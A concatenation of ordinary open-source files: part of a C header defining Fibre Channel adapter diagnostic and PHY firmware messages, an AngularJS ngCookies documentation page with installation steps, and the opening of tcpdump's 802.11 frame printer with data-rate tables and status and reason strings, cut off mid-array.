BFI_DIAG_I2H_LEDTEST = BFA_I2HM(BFI_DIAG_H2I_LEDTEST),
BFI_DIAG_I2H_QTEST = BFA_I2HM(BFI_DIAG_H2I_QTEST),
BFI_DIAG_I2H_DPORT = BFA_I2HM(BFI_DIAG_H2I_DPORT),
BFI_DIAG_I2H_DPORT_SCN = BFA_I2HM(8),
};
#define BFI_DIAG_MAX_SGES 2
#define BFI_DIAG_DMA_BUF_SZ (2 * 1024)
#define BFI_BOOT_MEMTEST_RES_ADDR 0x900
#define BFI_BOOT_MEMTEST_RES_SIG 0xA0A1A2A3
struct bfi_diag_lb_req_s {
struct bfi_mhdr_s mh;
u32 loopcnt;
u32 pattern;
u8 lb_mode; /*!< bfa_port_opmode_t */
u8 speed; /*!< bfa_port_speed_t */
u8 rsvd[2];
};
struct bfi_diag_lb_rsp_s {
struct bfi_mhdr_s mh; /* 4 bytes */
struct bfa_diag_loopback_result_s res; /* 16 bytes */
};
struct bfi_diag_fwping_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
struct bfi_alen_s alen; /* 12 bytes */
u32 data; /* user input data pattern */
u32 count; /* user input dma count */
u8 qtag; /* track CPE vc */
u8 rsv[3];
};
struct bfi_diag_fwping_rsp_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u32 data; /* user input data pattern */
u8 qtag; /* track CPE vc */
u8 dma_status; /* dma status */
u8 rsv[2];
};
/*
* Temperature Sensor
*/
struct bfi_diag_ts_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u16 temp; /* 10-bit A/D value */
u16 brd_temp; /* 9-bit board temp */
u8 status;
u8 ts_junc; /* show junction tempsensor */
u8 ts_brd; /* show board tempsensor */
u8 rsv;
};
#define bfi_diag_ts_rsp_t struct bfi_diag_ts_req_s
struct bfi_diag_ledtest_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u8 cmd;
u8 color;
u8 portid;
u8 led; /* bitmap of LEDs to be tested */
u16 freq; /* no. of blinks every 10 secs */
u8 rsv[2];
};
/* notify host led operation is done */
struct bfi_diag_ledtest_rsp_s {
struct bfi_mhdr_s mh; /* 4 bytes */
};
struct bfi_diag_portbeacon_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u32 period; /* beaconing period */
u8 beacon; /* 1: beacon on */
u8 rsvd[3];
};
/* notify host the beacon is off */
struct bfi_diag_portbeacon_rsp_s {
struct bfi_mhdr_s mh; /* 4 bytes */
};
struct bfi_diag_qtest_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u32 data[BFI_LMSG_PL_WSZ]; /* fill up tcm prefetch area */
};
#define bfi_diag_qtest_rsp_t struct bfi_diag_qtest_req_s
/*
* D-port test
*/
enum bfi_dport_req {
BFI_DPORT_DISABLE = 0, /* disable dport request */
BFI_DPORT_ENABLE = 1, /* enable dport request */
BFI_DPORT_START = 2, /* start dport request */
BFI_DPORT_SHOW = 3, /* show dport request */
BFI_DPORT_DYN_DISABLE = 4, /* disable dynamic dport request */
};
enum bfi_dport_scn {
BFI_DPORT_SCN_TESTSTART = 1,
BFI_DPORT_SCN_TESTCOMP = 2,
BFI_DPORT_SCN_SFP_REMOVED = 3,
BFI_DPORT_SCN_DDPORT_ENABLE = 4,
BFI_DPORT_SCN_DDPORT_DISABLE = 5,
BFI_DPORT_SCN_FCPORT_DISABLE = 6,
BFI_DPORT_SCN_SUBTESTSTART = 7,
BFI_DPORT_SCN_TESTSKIP = 8,
BFI_DPORT_SCN_DDPORT_DISABLED = 9,
};
struct bfi_diag_dport_req_s {
struct bfi_mhdr_s mh; /* 4 bytes */
u8 req; /* request 1: enable 0: disable */
u8 rsvd[3];
u32 lpcnt;
u32 payload;
};
struct bfi_diag_dport_rsp_s {
struct bfi_mhdr_s mh; /* header 4 bytes */
bfa_status_t status; /* reply status */
wwn_t pwwn; /* switch port wwn. 8 bytes */
wwn_t nwwn; /* switch node wwn. 8 bytes */
};
struct bfi_diag_dport_scn_teststart_s {
wwn_t pwwn; /* switch port wwn. 8 bytes */
wwn_t nwwn; /* switch node wwn. 8 bytes */
u8 type; /* bfa_diag_dport_test_type_e */
u8 mode; /* bfa_diag_dport_test_opmode */
u8 rsvd[2];
u32 numfrm; /* from switch uint in 1M */
};
struct bfi_diag_dport_scn_testcomp_s {
u8 status; /* bfa_diag_dport_test_status_e */
u8 speed; /* bfa_port_speed_t */
u16 numbuffer; /* from switch */
u8 subtest_status[DPORT_TEST_MAX]; /* 4 bytes */
u32 latency; /* from switch */
u32 distance; /* from swtich unit in meters */
/* Buffers required to saturate the link */
u16 frm_sz; /* from switch for buf_reqd */
u8 rsvd[2];
};
struct bfi_diag_dport_scn_s { /* max size == RDS_RMESZ */
struct bfi_mhdr_s mh; /* header 4 bytes */
u8 state; /* new state */
u8 rsvd[3];
union {
struct bfi_diag_dport_scn_teststart_s teststart;
struct bfi_diag_dport_scn_testcomp_s testcomp;
} info;
};
union bfi_diag_dport_msg_u {
struct bfi_diag_dport_req_s req;
struct bfi_diag_dport_rsp_s rsp;
struct bfi_diag_dport_scn_s scn;
};
/*
* PHY module specific
*/
enum bfi_phy_h2i_msgs_e {
BFI_PHY_H2I_QUERY_REQ = 1,
BFI_PHY_H2I_STATS_REQ = 2,
BFI_PHY_H2I_WRITE_REQ = 3,
BFI_PHY_H2I_READ_REQ = 4,
};
enum bfi_phy_i2h_msgs_e {
BFI_PHY_I2H_QUERY_RSP = BFA_I2HM(1),
BFI_PHY_I2H_STATS_RSP = BFA_I2HM(2),
BFI_PHY_I2H_WRITE_RSP = BFA_I2HM(3),
BFI_PHY_I2H_READ_RSP = BFA_I2HM(4),
};
/*
* External PHY query request
*/
struct bfi_phy_query_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 instance;
u8 rsv[3];
struct bfi_alen_s alen;
};
/*
* External PHY stats request
*/
struct bfi_phy_stats_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 instance;
u8 rsv[3];
struct bfi_alen_s alen;
};
/*
* External PHY write request
*/
struct bfi_phy_write_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 instance;
u8 last;
u8 rsv[2];
u32 offset;
u32 length;
struct bfi_alen_s alen;
};
/*
* External PHY read request
*/
struct bfi_phy_read_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 instance;
u8 rsv[3];
u32 offset;
u32 length;
struct bfi_alen_s alen;
};
/*
* External PHY query response
*/
struct bfi_phy_query_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
};
/*
* External PHY stats response
*/
struct bfi_phy_stats_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
};
/*
* External PHY read response
*/
struct bfi_phy_read_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
u32 length;
};
/*
* External PHY write response
*/
struct bfi_phy_write_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
u32 length;
};
enum bfi_fru_h2i_msgs {
BFI_FRUVPD_H2I_WRITE_REQ = 1,
BFI_FRUVPD_H2I_READ_REQ = 2,
BFI_TFRU_H2I_WRITE_REQ = 3,
BFI_TFRU_H2I_READ_REQ = 4,
};
enum bfi_fru_i2h_msgs {
BFI_FRUVPD_I2H_WRITE_RSP = BFA_I2HM(1),
BFI_FRUVPD_I2H_READ_RSP = BFA_I2HM(2),
BFI_TFRU_I2H_WRITE_RSP = BFA_I2HM(3),
BFI_TFRU_I2H_READ_RSP = BFA_I2HM(4),
};
/*
* FRU write request
*/
struct bfi_fru_write_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u8 last;
u8 rsv_1[3];
u8 trfr_cmpl;
u8 rsv_2[3];
u32 offset;
u32 length;
struct bfi_alen_s alen;
};
/*
* FRU read request
*/
struct bfi_fru_read_req_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 offset;
u32 length;
struct bfi_alen_s alen;
};
/*
* FRU response
*/
struct bfi_fru_rsp_s {
struct bfi_mhdr_s mh; /* Common msg header */
u32 status;
u32 length;
};
#pragma pack()
#endif /* __BFI_H__ */
| {
"pile_set_name": "Github"
} |
<a href='https://github.com/angular/angular.js/edit/v1.6.x/src/ngCookies/cookies.js?message=docs(ngCookies)%3A%20describe%20your%20change...#L3' class='improve-docs btn btn-primary'><i class="glyphicon glyphicon-edit"> </i>Improve this Doc</a>
<h1>
<code>ngCookies</code>
</h1>
<h2>Installation</h2>
<p>First, get the file:</p>
<ul>
<li>
<a href="https://developers.google.com/speed/libraries/devguide#angularjs">Google CDN</a> e.g.
<pre><code>"//ajax.googleapis.com/ajax/libs/angularjs/X.Y.Z/angular-cookies.js"</code></pre>
</li>
<li>
<a href="https://www.npmjs.com/">NPM</a> e.g.
<pre><code>npm install --save [email protected]</code></pre>
or
<pre><code>yarn add [email protected]</code></pre>
</li>
<li>
<a href="http://bower.io">Bower</a> e.g.
<pre><code>bower install angular-cookies#X.Y.Z</code></pre>
</li>
<li>
<a href="https://code.angularjs.org/">code.angularjs.org</a>
(discouraged for production use) e.g.
<pre><code>"//code.angularjs.org/X.Y.Z/angular-cookies.js"</code></pre>
</li>
</ul>
<p>where X.Y.Z is the AngularJS version you are running.</p>
<p>Then, include <code>angular-cookies.js</code> in your HTML:</p>
<pre><code><script src="path/to/angular.js"></script> <script src="path/to/angular-cookies.js"></script></code></pre>
<p>Finally, load the module in your application by adding it as a dependent module:</p>
<pre><code>angular.module('app', ['ngCookies']);</code></pre>
<p>With that you're ready to get started!</p>
<h1 id="ngcookies">ngCookies</h1>
<p>The <code>ngCookies</code> module provides a convenient wrapper for reading and writing browser cookies.</p>
<div doc-module-components="ngCookies"></div>
<p>See <a href="api/ngCookies/service/$cookies"><code>$cookies</code></a> for usage.</p>
<div class="component-breakdown">
<h2>Module Components</h2>
<div>
<h3 class="component-heading" id="provider">Provider</h3>
<table class="definition-table">
<tr>
<th>Name</th>
<th>Description</th>
</tr>
<tr>
<td><a href="api/ngCookies/provider/$cookiesProvider">$cookiesProvider</a></td>
<td><p>Use <code>$cookiesProvider</code> to change the default behavior of the <a href="api/ngCookies/service/$cookies">$cookies</a> service.</p>
</td>
</tr>
</table>
</div>
<div>
<h3 class="component-heading" id="service">Service</h3>
<table class="definition-table">
<tr>
<th>Name</th>
<th>Description</th>
</tr>
<tr>
<td><a href="api/ngCookies/service/$cookies">$cookies</a></td>
<td><p>Provides read/write access to browser's cookies.</p>
</td>
</tr>
<tr>
<td><a href="api/ngCookies/service/$cookieStore">$cookieStore</a></td>
<td><p>Provides a key-value (string-object) storage, that is backed by session cookies.
Objects put or retrieved from this storage are automatically serialized or
deserialized by angular's toJson/fromJson.</p>
</td>
</tr>
</table>
</div>
</div>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2001
* Fortress Technologies, Inc. All rights reserved.
* Charlie Lenahan ([email protected])
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] _U_ =
"@(#) $Header: /tcpdump/master/tcpdump/print-802_11.c,v 1.49 2007-12-29 23:25:02 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <tcpdump-stdinc.h>
#include <stdio.h>
#include <pcap.h>
#include <string.h>
#include "interface.h"
#include "addrtoname.h"
#include "ethertype.h"
#include "extract.h"
#include "cpack.h"
#include "ieee802_11.h"
#include "ieee802_11_radio.h"
/* Radiotap state */
/* This is used to save state when parsing/processing parameters */
struct radiotap_state
{
u_int32_t present;
u_int8_t rate;
};
#define PRINT_SSID(p) \
if (p.ssid_present) { \
printf(" ("); \
fn_print(p.ssid.ssid, NULL); \
printf(")"); \
}
#define PRINT_RATE(_sep, _r, _suf) \
printf("%s%2.1f%s", _sep, (.5 * ((_r) & 0x7f)), _suf)
#define PRINT_RATES(p) \
if (p.rates_present) { \
int z; \
const char *sep = " ["; \
for (z = 0; z < p.rates.length ; z++) { \
PRINT_RATE(sep, p.rates.rate[z], \
(p.rates.rate[z] & 0x80 ? "*" : "")); \
sep = " "; \
} \
if (p.rates.length != 0) \
printf(" Mbit]"); \
}
#define PRINT_DS_CHANNEL(p) \
if (p.ds_present) \
printf(" CH: %u", p.ds.channel); \
printf("%s", \
CAPABILITY_PRIVACY(p.capability_info) ? ", PRIVACY" : "" );
#define MAX_MCS_INDEX 76
/*
* Indices are:
*
* the MCS index (0-76);
*
* 0 for 20 MHz, 1 for 40 MHz;
*
* 0 for a long guard interval, 1 for a short guard interval.
*/
static const float ieee80211_float_htrates[MAX_MCS_INDEX+1][2][2] = {
/* MCS 0 */
{ /* 20 Mhz */ { 6.5, /* SGI */ 7.2, },
/* 40 Mhz */ { 13.5, /* SGI */ 15.0, },
},
/* MCS 1 */
{ /* 20 Mhz */ { 13.0, /* SGI */ 14.4, },
/* 40 Mhz */ { 27.0, /* SGI */ 30.0, },
},
/* MCS 2 */
{ /* 20 Mhz */ { 19.5, /* SGI */ 21.7, },
/* 40 Mhz */ { 40.5, /* SGI */ 45.0, },
},
/* MCS 3 */
{ /* 20 Mhz */ { 26.0, /* SGI */ 28.9, },
/* 40 Mhz */ { 54.0, /* SGI */ 60.0, },
},
/* MCS 4 */
{ /* 20 Mhz */ { 39.0, /* SGI */ 43.3, },
/* 40 Mhz */ { 81.0, /* SGI */ 90.0, },
},
/* MCS 5 */
{ /* 20 Mhz */ { 52.0, /* SGI */ 57.8, },
/* 40 Mhz */ { 108.0, /* SGI */ 120.0, },
},
/* MCS 6 */
{ /* 20 Mhz */ { 58.5, /* SGI */ 65.0, },
/* 40 Mhz */ { 121.5, /* SGI */ 135.0, },
},
/* MCS 7 */
{ /* 20 Mhz */ { 65.0, /* SGI */ 72.2, },
/* 40 Mhz */ { 135.0, /* SGI */ 150.0, },
},
/* MCS 8 */
{ /* 20 Mhz */ { 13.0, /* SGI */ 14.4, },
/* 40 Mhz */ { 27.0, /* SGI */ 30.0, },
},
/* MCS 9 */
{ /* 20 Mhz */ { 26.0, /* SGI */ 28.9, },
/* 40 Mhz */ { 54.0, /* SGI */ 60.0, },
},
/* MCS 10 */
{ /* 20 Mhz */ { 39.0, /* SGI */ 43.3, },
/* 40 Mhz */ { 81.0, /* SGI */ 90.0, },
},
/* MCS 11 */
{ /* 20 Mhz */ { 52.0, /* SGI */ 57.8, },
/* 40 Mhz */ { 108.0, /* SGI */ 120.0, },
},
/* MCS 12 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 13 */
{ /* 20 Mhz */ { 104.0, /* SGI */ 115.6, },
/* 40 Mhz */ { 216.0, /* SGI */ 240.0, },
},
/* MCS 14 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 15 */
{ /* 20 Mhz */ { 130.0, /* SGI */ 144.4, },
/* 40 Mhz */ { 270.0, /* SGI */ 300.0, },
},
/* MCS 16 */
{ /* 20 Mhz */ { 19.5, /* SGI */ 21.7, },
/* 40 Mhz */ { 40.5, /* SGI */ 45.0, },
},
/* MCS 17 */
{ /* 20 Mhz */ { 39.0, /* SGI */ 43.3, },
/* 40 Mhz */ { 81.0, /* SGI */ 90.0, },
},
/* MCS 18 */
{ /* 20 Mhz */ { 58.5, /* SGI */ 65.0, },
/* 40 Mhz */ { 121.5, /* SGI */ 135.0, },
},
/* MCS 19 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 20 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 21 */
{ /* 20 Mhz */ { 156.0, /* SGI */ 173.3, },
/* 40 Mhz */ { 324.0, /* SGI */ 360.0, },
},
/* MCS 22 */
{ /* 20 Mhz */ { 175.5, /* SGI */ 195.0, },
/* 40 Mhz */ { 364.5, /* SGI */ 405.0, },
},
/* MCS 23 */
{ /* 20 Mhz */ { 195.0, /* SGI */ 216.7, },
/* 40 Mhz */ { 405.0, /* SGI */ 450.0, },
},
/* MCS 24 */
{ /* 20 Mhz */ { 26.0, /* SGI */ 28.9, },
/* 40 Mhz */ { 54.0, /* SGI */ 60.0, },
},
/* MCS 25 */
{ /* 20 Mhz */ { 52.0, /* SGI */ 57.8, },
/* 40 Mhz */ { 108.0, /* SGI */ 120.0, },
},
/* MCS 26 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 27 */
{ /* 20 Mhz */ { 104.0, /* SGI */ 115.6, },
/* 40 Mhz */ { 216.0, /* SGI */ 240.0, },
},
/* MCS 28 */
{ /* 20 Mhz */ { 156.0, /* SGI */ 173.3, },
/* 40 Mhz */ { 324.0, /* SGI */ 360.0, },
},
/* MCS 29 */
{ /* 20 Mhz */ { 208.0, /* SGI */ 231.1, },
/* 40 Mhz */ { 432.0, /* SGI */ 480.0, },
},
/* MCS 30 */
{ /* 20 Mhz */ { 234.0, /* SGI */ 260.0, },
/* 40 Mhz */ { 486.0, /* SGI */ 540.0, },
},
/* MCS 31 */
{ /* 20 Mhz */ { 260.0, /* SGI */ 288.9, },
/* 40 Mhz */ { 540.0, /* SGI */ 600.0, },
},
/* MCS 32 */
{ /* 20 Mhz */ { 0.0, /* SGI */ 0.0, }, /* not valid */
/* 40 Mhz */ { 6.0, /* SGI */ 6.7, },
},
/* MCS 33 */
{ /* 20 Mhz */ { 39.0, /* SGI */ 43.3, },
/* 40 Mhz */ { 81.0, /* SGI */ 90.0, },
},
/* MCS 34 */
{ /* 20 Mhz */ { 52.0, /* SGI */ 57.8, },
/* 40 Mhz */ { 108.0, /* SGI */ 120.0, },
},
/* MCS 35 */
{ /* 20 Mhz */ { 65.0, /* SGI */ 72.2, },
/* 40 Mhz */ { 135.0, /* SGI */ 150.0, },
},
/* MCS 36 */
{ /* 20 Mhz */ { 58.5, /* SGI */ 65.0, },
/* 40 Mhz */ { 121.5, /* SGI */ 135.0, },
},
/* MCS 37 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 38 */
{ /* 20 Mhz */ { 97.5, /* SGI */ 108.3, },
/* 40 Mhz */ { 202.5, /* SGI */ 225.0, },
},
/* MCS 39 */
{ /* 20 Mhz */ { 52.0, /* SGI */ 57.8, },
/* 40 Mhz */ { 108.0, /* SGI */ 120.0, },
},
/* MCS 40 */
{ /* 20 Mhz */ { 65.0, /* SGI */ 72.2, },
/* 40 Mhz */ { 135.0, /* SGI */ 150.0, },
},
/* MCS 41 */
{ /* 20 Mhz */ { 65.0, /* SGI */ 72.2, },
/* 40 Mhz */ { 135.0, /* SGI */ 150.0, },
},
/* MCS 42 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 43 */
{ /* 20 Mhz */ { 91.0, /* SGI */ 101.1, },
/* 40 Mhz */ { 189.0, /* SGI */ 210.0, },
},
/* MCS 44 */
{ /* 20 Mhz */ { 91.0, /* SGI */ 101.1, },
/* 40 Mhz */ { 189.0, /* SGI */ 210.0, },
},
/* MCS 45 */
{ /* 20 Mhz */ { 104.0, /* SGI */ 115.6, },
/* 40 Mhz */ { 216.0, /* SGI */ 240.0, },
},
/* MCS 46 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 47 */
{ /* 20 Mhz */ { 97.5, /* SGI */ 108.3, },
/* 40 Mhz */ { 202.5, /* SGI */ 225.0, },
},
/* MCS 48 */
{ /* 20 Mhz */ { 97.5, /* SGI */ 108.3, },
/* 40 Mhz */ { 202.5, /* SGI */ 225.0, },
},
/* MCS 49 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 50 */
{ /* 20 Mhz */ { 136.5, /* SGI */ 151.7, },
/* 40 Mhz */ { 283.5, /* SGI */ 315.0, },
},
/* MCS 51 */
{ /* 20 Mhz */ { 136.5, /* SGI */ 151.7, },
/* 40 Mhz */ { 283.5, /* SGI */ 315.0, },
},
/* MCS 52 */
{ /* 20 Mhz */ { 156.0, /* SGI */ 173.3, },
/* 40 Mhz */ { 324.0, /* SGI */ 360.0, },
},
/* MCS 53 */
{ /* 20 Mhz */ { 65.0, /* SGI */ 72.2, },
/* 40 Mhz */ { 135.0, /* SGI */ 150.0, },
},
/* MCS 54 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 55 */
{ /* 20 Mhz */ { 91.0, /* SGI */ 101.1, },
/* 40 Mhz */ { 189.0, /* SGI */ 210.0, },
},
/* MCS 56 */
{ /* 20 Mhz */ { 78.0, /* SGI */ 86.7, },
/* 40 Mhz */ { 162.0, /* SGI */ 180.0, },
},
/* MCS 57 */
{ /* 20 Mhz */ { 91.0, /* SGI */ 101.1, },
/* 40 Mhz */ { 189.0, /* SGI */ 210.0, },
},
/* MCS 58 */
{ /* 20 Mhz */ { 104.0, /* SGI */ 115.6, },
/* 40 Mhz */ { 216.0, /* SGI */ 240.0, },
},
/* MCS 59 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 60 */
{ /* 20 Mhz */ { 104.0, /* SGI */ 115.6, },
/* 40 Mhz */ { 216.0, /* SGI */ 240.0, },
},
/* MCS 61 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 62 */
{ /* 20 Mhz */ { 130.0, /* SGI */ 144.4, },
/* 40 Mhz */ { 270.0, /* SGI */ 300.0, },
},
/* MCS 63 */
{ /* 20 Mhz */ { 130.0, /* SGI */ 144.4, },
/* 40 Mhz */ { 270.0, /* SGI */ 300.0, },
},
/* MCS 64 */
{ /* 20 Mhz */ { 143.0, /* SGI */ 158.9, },
/* 40 Mhz */ { 297.0, /* SGI */ 330.0, },
},
/* MCS 65 */
{ /* 20 Mhz */ { 97.5, /* SGI */ 108.3, },
/* 40 Mhz */ { 202.5, /* SGI */ 225.0, },
},
/* MCS 66 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 67 */
{ /* 20 Mhz */ { 136.5, /* SGI */ 151.7, },
/* 40 Mhz */ { 283.5, /* SGI */ 315.0, },
},
/* MCS 68 */
{ /* 20 Mhz */ { 117.0, /* SGI */ 130.0, },
/* 40 Mhz */ { 243.0, /* SGI */ 270.0, },
},
/* MCS 69 */
{ /* 20 Mhz */ { 136.5, /* SGI */ 151.7, },
/* 40 Mhz */ { 283.5, /* SGI */ 315.0, },
},
/* MCS 70 */
{ /* 20 Mhz */ { 156.0, /* SGI */ 173.3, },
/* 40 Mhz */ { 324.0, /* SGI */ 360.0, },
},
/* MCS 71 */
{ /* 20 Mhz */ { 175.5, /* SGI */ 195.0, },
/* 40 Mhz */ { 364.5, /* SGI */ 405.0, },
},
/* MCS 72 */
{ /* 20 Mhz */ { 156.0, /* SGI */ 173.3, },
/* 40 Mhz */ { 324.0, /* SGI */ 360.0, },
},
/* MCS 73 */
{ /* 20 Mhz */ { 175.5, /* SGI */ 195.0, },
/* 40 Mhz */ { 364.5, /* SGI */ 405.0, },
},
/* MCS 74 */
{ /* 20 Mhz */ { 195.0, /* SGI */ 216.7, },
/* 40 Mhz */ { 405.0, /* SGI */ 450.0, },
},
/* MCS 75 */
{ /* 20 Mhz */ { 195.0, /* SGI */ 216.7, },
/* 40 Mhz */ { 405.0, /* SGI */ 450.0, },
},
/* MCS 76 */
{ /* 20 Mhz */ { 214.5, /* SGI */ 238.3, },
/* 40 Mhz */ { 445.5, /* SGI */ 495.0, },
},
};
static const char *auth_alg_text[]={"Open System","Shared Key","EAP"};
#define NUM_AUTH_ALGS (sizeof auth_alg_text / sizeof auth_alg_text[0])
static const char *status_text[] = {
"Succesful", /* 0 */
"Unspecified failure", /* 1 */
"Reserved", /* 2 */
"Reserved", /* 3 */
"Reserved", /* 4 */
"Reserved", /* 5 */
"Reserved", /* 6 */
"Reserved", /* 7 */
"Reserved", /* 8 */
"Reserved", /* 9 */
"Cannot Support all requested capabilities in the Capability "
"Information field", /* 10 */
"Reassociation denied due to inability to confirm that association "
"exists", /* 11 */
"Association denied due to reason outside the scope of the "
"standard", /* 12 */
"Responding station does not support the specified authentication "
"algorithm ", /* 13 */
"Received an Authentication frame with authentication transaction "
"sequence number out of expected sequence", /* 14 */
"Authentication rejected because of challenge failure", /* 15 */
"Authentication rejected due to timeout waiting for next frame in "
"sequence", /* 16 */
"Association denied because AP is unable to handle additional"
"associated stations", /* 17 */
"Association denied due to requesting station not supporting all of "
"the data rates in BSSBasicRateSet parameter", /* 18 */
"Association denied due to requesting station not supporting "
"short preamble operation", /* 19 */
"Association denied due to requesting station not supporting "
"PBCC encoding", /* 20 */
"Association denied due to requesting station not supporting "
"channel agility", /* 21 */
"Association request rejected because Spectrum Management "
"capability is required", /* 22 */
"Association request rejected because the information in the "
"Power Capability element is unacceptable", /* 23 */
"Association request rejected because the information in the "
"Supported Channels element is unacceptable", /* 24 */
"Association denied due to requesting station not supporting "
"short slot operation", /* 25 */
"Association denied due to requesting station not supporting "
"DSSS-OFDM operation", /* 26 */
"Association denied because the requested STA does not support HT "
"features", /* 27 */
"Reserved", /* 28 */
"Association denied because the requested STA does not support "
"the PCO transition time required by the AP", /* 29 */
"Reserved", /* 30 */
"Reserved", /* 31 */
"Unspecified, QoS-related failure", /* 32 */
"Association denied due to QAP having insufficient bandwidth "
"to handle another QSTA", /* 33 */
"Association denied due to excessive frame loss rates and/or "
"poor conditions on current operating channel", /* 34 */
"Association (with QBSS) denied due to requesting station not "
"supporting the QoS facility", /* 35 */
"Association denied due to requesting station not supporting "
"Block Ack", /* 36 */
"The request has been declined", /* 37 */
"The request has not been successful as one or more parameters "
"have invalid values", /* 38 */
"The TS has not been created because the request cannot be honored. "
"However, a suggested TSPEC is provided so that the initiating QSTA"
"may attempt to set another TS with the suggested changes to the "
"TSPEC", /* 39 */
"Invalid Information Element", /* 40 */
"Group Cipher is not valid", /* 41 */
"Pairwise Cipher is not valid", /* 42 */
"AKMP is not valid", /* 43 */
"Unsupported RSN IE version", /* 44 */
"Invalid RSN IE Capabilities", /* 45 */
"Cipher suite is rejected per security policy", /* 46 */
"The TS has not been created. However, the HC may be capable of "
"creating a TS, in response to a request, after the time indicated "
"in the TS Delay element", /* 47 */
"Direct Link is not allowed in the BSS by policy", /* 48 */
"Destination STA is not present within this QBSS.", /* 49 */
"The Destination STA is not a QSTA.", /* 50 */
};
#define NUM_STATUSES (sizeof status_text / sizeof status_text[0])
static const char *reason_text[] = {
"Reserved", /* 0 */
"Unspecified reason", /* 1 */
"Previous authentication no longer valid", /* 2 */
"Deauthenticated because sending station is leaving (or has left) "
"IBSS or ESS", /* 3 */
"Disassociated due to inactivity", /* 4 */
"Disassociated because AP is unable to handle all currently "
" associated stations", /* 5 */
"Class 2 frame received from nonauthenticated station", /* 6 */
"Class 3 frame received from nonassociated station", /* 7 */
"Disassociated because sending station is leaving "
"(or has left) BSS", /* 8 */
"Station requesting (re)association is not authenticated with "
"responding station", /* 9 */
"Disassociated because the information in the Power Capability "
"element is unacceptable", /* 10 */
"Disassociated because the information in the SupportedChannels "
"element is unacceptable", /* 11 */
"Invalid Information Element", /* 12 */
"Reserved", /* 13 */
"Michael MIC failure", /* 14 */
"4-Way Handshake timeout", /* 15 */
"Group key update timeout", /* 16 */
"Information element in 4-Way Handshake different from (Re)Association"
"Request/Probe Response/Beacon", /* 17 */
"Group Cipher is not valid", /* 18 */
"AKMP is not valid", /* 20 */
"Unsupported RSN IE version", /* 21 */
"Invalid RSN IE Capabilities", /* 22 */
"IEEE 802.1X Authentication failed", /* 23 */
"Cipher suite is rejected per security policy", /* 24 */
"Reserved", /* 25 */
"Reserved", /* 26 */
"Reserved", /* 27 */
"Reserved", /* 28 */
"Reserved", /* 29 */
"Reserved", /* 30 */
"TS deleted because QoS AP lacks sufficient bandwidth for this "
"QoS STA due to a change in BSS service characteristics or "
"operational mode (e.g. an HT BSS change from 40 MHz channel "
"to 20 MHz channel)", /* 31 */
"Disassociated for unspecified, QoS-related reason", /* 32 */
"Disassociated because QoS AP lacks sufficient bandwidth for this "
"QoS STA", /* 33 */
"Disassociated because of excessive number of frames that need to be "
"acknowledged, but are not acknowledged for AP transmissions "
"and/or poor channel conditions", /* 34 */
"Disassociated because STA is transmitting outside the limits "
"of its TXOPs", /* 35 */
"Requested from peer STA as the STA is leaving the BSS "
